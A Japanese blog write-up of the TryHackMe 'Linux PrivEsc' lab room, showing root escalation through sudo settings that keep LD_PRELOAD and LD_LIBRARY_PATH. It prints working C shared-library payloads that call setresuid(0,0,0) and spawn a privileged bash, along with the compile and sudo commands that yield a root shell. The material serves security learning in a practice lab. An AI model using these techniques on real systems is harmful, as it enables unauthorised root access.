今回は、「LD_PRELOAD」と「LD_LIBRARY_PATH」というLINUX環境変数を利用した権限昇格やってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」
こちらの記事は、Part4になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「GTFOBinsを利用した権限昇格」も確認してください。
事前準備
まずは、ターゲットマシンを起動して、ターゲットマシンに接続しておきます。
ターゲットマシンの起動
まずはターゲットマシンを起動しておきます。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」に参加して、「スタートマシン」を起動します。
こんな感じで、IP Adressが表示されていれば起動はOKです。
SSH接続
起動したターゲットマシンにSSHで接続しておきます。
説明にある通り、「user:password321」で接続できればOKです。
└─$ ssh user@10.10.6.35
The authenticity of host '10.10.6.35 (10.10.6.35)' can't be established.
DSA key fingerprint is SHA256:p2NSsfvYJVk1Qe0tsNX5G2h8AaWYRn71jdz3uEodbMA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.6.35' (DSA) to the list of known hosts.
user@10.10.6.35's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
「-oHostKeyAlgorithms=+ssh-rsa」をつける必要
環境変数を用いた権限昇格
脆弱性のある環境変数は、「LD_PRELOAD」と「LD_LIBRARY_PATH」になります。
簡単な説明は、下記のとおりです。
- LD_PRELOAD:ライブラリを事前にロードするために使われる。共有ライブラリを指定することで、任意のプログラムを実行する前に、共有ライブラリを読み込ませる(実行させる)ことが可能になる。
- LD_LIBRARY_PATH:共有ライブラリが検索されるリストを指定する。ライブラリファイルがあるディレクトリを指定することで、そのディレクトリも検索対象とすることが可能になる。
LD_PRELOADを用いた権限昇格
では、「LD_PRELOAD」を用いてroot権限を取ってみようと思います。
まずは、sudoで実行できるプログラムを確認しておきます。
11個のプログラムがsoduで実行できるようになっていることが、確認できるかと思います。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
事前にロードさせる共有ライブラリを作成していきます。
とはいえ、事前にターゲットマシンに「preload.c」があると思うので、それをコンパイルする感じですね。
preload.cは、system callを実行して、「/bin/bash」shellを生成するようなプログラムになっているようです。
user@debian:~$ cat /home/user/tools/sudo/preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
preload.cから共有ライブラリを生成します。
user@debian:~$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
生成できたら、sudoで実行できるプログラムを実行する際に、LD_PRELOADを指定して実行しましょう。
user@debian:~$ sudo LD_PRELOAD=/tmp/preload.so find
root@debian:/home/user# whoami
root
rootユーザーになることができましたね。
LD_LIBRARY_PATHを用いた権限昇格
次は、「LD_LIBRARY_PATH」を用いた権限昇格もやってみます。
まずは、共有ライブラリへの依存関係を表示するコマンド「ldd」をapache2に対して実行して、共有ライブラリを確認します。
user@debian:~$ ldd /usr/sbin/apache2
linux-vdso.so.1 => (0x00007fff84ee8000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fba94c5c000)
libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000)
libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007fba947fe000)
libpthread.so.0 => /lib/libpthread.so.0 (0x00007fba945e2000)
libc.so.6 => /lib/libc.so.6 (0x00007fba94276000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007fba94071000)
librt.so.1 => /lib/librt.so.1 (0x00007fba93e69000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fba93c32000)
libdl.so.2 => /lib/libdl.so.2 (0x00007fba93a2d000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000)
/lib64/ld-linux-x86-64.so.2 (0x00007fba95119000)
いくつか依存関係がありますが、今回は「libcrypt.so.1」と同じ共有ライブラリを作成して、ロードさせるように仕掛けます。
まず、共有ライブラリを作成しましょう。
「library_path.c」の中身は、下記のとおりです。
やっていることは、さきほどのと変わりませんね。
user@debian:~$ cat /home/user/tools/sudo/library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
先ほどの「library_path.c」から「libcrypt.so.1」という名前で共有ライブラリを作成します。
格納先は、「/tmp」になっています。
user@debian:~$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudoで apache2を実行するときに、LD_LIBRARY_PATHで先ほど格納した「/tmp」を指定しておきます。
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/libaprutil-1.so.0)
root@debian:/home/user# whoami
root
これでrootに権限昇格ができたかとおもいます!
まとめ
今回は、「LD_PRELOAD」と「LD_LIBRARY_PATH」というLINUX環境変数を利用した権限昇格をやってみました。
/bin/bash shell生成し、sudoで実行することでroot shellが取得できるという内容でしたが、こんなこともできるのかと。。。ただただ関心してしまいました。
参考文献・サイト
Medium(Shamsher khan):https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5